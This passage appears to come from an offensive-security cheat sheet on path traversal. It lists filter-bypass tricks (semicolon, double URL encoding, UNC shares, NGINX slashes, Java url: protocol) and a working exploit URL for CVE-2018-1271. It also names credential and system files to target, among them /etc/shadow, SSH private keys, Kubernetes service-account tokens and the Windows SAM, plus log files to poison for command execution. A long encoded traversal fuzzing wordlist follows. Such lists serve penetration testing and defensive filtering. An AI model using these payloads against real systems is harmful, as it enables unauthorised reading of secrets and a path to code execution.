```powershell
..././
...\.\
```

### Bypass "../" with ";"

```powershell
..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt 
```

### Double URL encoding

```powershell
. = %252e
/ = %252f
\ = %255c
```

**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`

### UNC Bypass

An attacker can inject a Windows UNC share ('\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.

```powershell
\\localhost\c$\windows\win.ini
```

### NGINX/ALB Bypass

NGINX in certain configurations and ALB can block traversal attacks in the route, For example: `http://nginx-server/../../` will return a 400 bad request.

To bypass this behaviour just add forward slashes in front of the url: `http://nginx-server////////../../`

### Java Bypass

Bypass Java's URL protocol

```powershell
url:file:///etc/passwd
url:http://127.0.0.1:8080
```

## Path Traversal

### Interesting Linux files

```powershell
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
```

### Interesting Windows files

Always existing file in recent Windows machine. Ideal to test path traversal but nothing much interesting inside...

```powershell
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
```

Interesting files to check out (Extracted from <https://github.com/soffensive/windowsblindread>)

```powershell
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
```

The following log files are controllable and can be included with an evil payload to achieve a command execution

```powershell
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
```

## References

* [Path Traversal Cheat Sheet: Windows](https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
* [CWE-40: Path Traversal: '\UNC\share\name' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
* [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link\&sk=e9ddbadd61576f941be97e111e953381)
* [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal)


# Deep Traversal

```
../{FILE}
../../{FILE}
../../../{FILE}
../../../../{FILE}
../../../../../{FILE}
../../../../../../{FILE}
../../../../../../../{FILE}
../../../../../../../../{FILE}
..%2f{FILE}
..%2f..%2f{FILE}
..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
%2e%2e/{FILE}
%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
..%252f{FILE}
..%252f..%252f{FILE}
..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
%252e%252e/{FILE}
%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
..\{FILE}
..\..\{FILE}
..\..\..\{FILE}
..\..\..\..\{FILE}
..\..\..\..\..\{FILE}
..\..\..\..\..\..\{FILE}
..\..\..\..\..\..\..\{FILE}
..\..\..\..\..\..\..\..\{FILE}
..%255c{FILE}
..%255c..%255c{FILE}
..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
..%5c..%5c{FILE}
..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
%2e%2e\{FILE}
%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
%252e%252e\{FILE}
%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
..%c0%af{FILE}
..%c0%af..%c0%af{FILE}
..%c0%af..%c0%af..%c0%af{FILE}
..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
%c0%ae%c0%ae/{FILE}
%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
%c0%ae%c0%ae%c0%af{FILE}
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
..%25c0%25af{FILE}
..%25c0%25af..%25c0%25af{FILE}
..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
%25c0%25ae%25c0%25ae/{FILE}
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
%25c0%25ae%25c0%25ae%25c0%25af{FILE}
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
..%c1%9c{FILE}
..%c1%9c..%c1%9c{FILE}
..%c1%9c..%c1%9c..%c1%9c{FILE}
..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
%c0%ae%c0%ae\{FILE}
%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
%c0%ae%c0%ae%c1%9c{FILE}
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
..%25c1%259c{FILE}
..%25c1%259c..%25c1%259c{FILE}
..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
%25c0%25ae%25c0%25ae\{FILE}
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
%25c0%25ae%25c0%25ae%25c1%259c{FILE}
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
..%%32%66{FILE}
..%%32%66..%%32%66{FILE}
..%%32%66..%%32%66..%%32%66{FILE}
..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65%%32%66{FILE}
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
..%%35%63{FILE}
..%%35%63..%%35%63{FILE}
..%%35%63..%%35%63..%%35%63{FILE}
..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
%%32%65%%32%65%%35%63{FILE}
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
../{FILE}
../../{FILE}
../../../{FILE}
../../../../{FILE}
../../../../../{FILE}
../../../../../../{FILE}
../../../../../../../{FILE}
../../../../../../../../{FILE}
..%2f{FILE}
..%2f..%2f{FILE}
..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
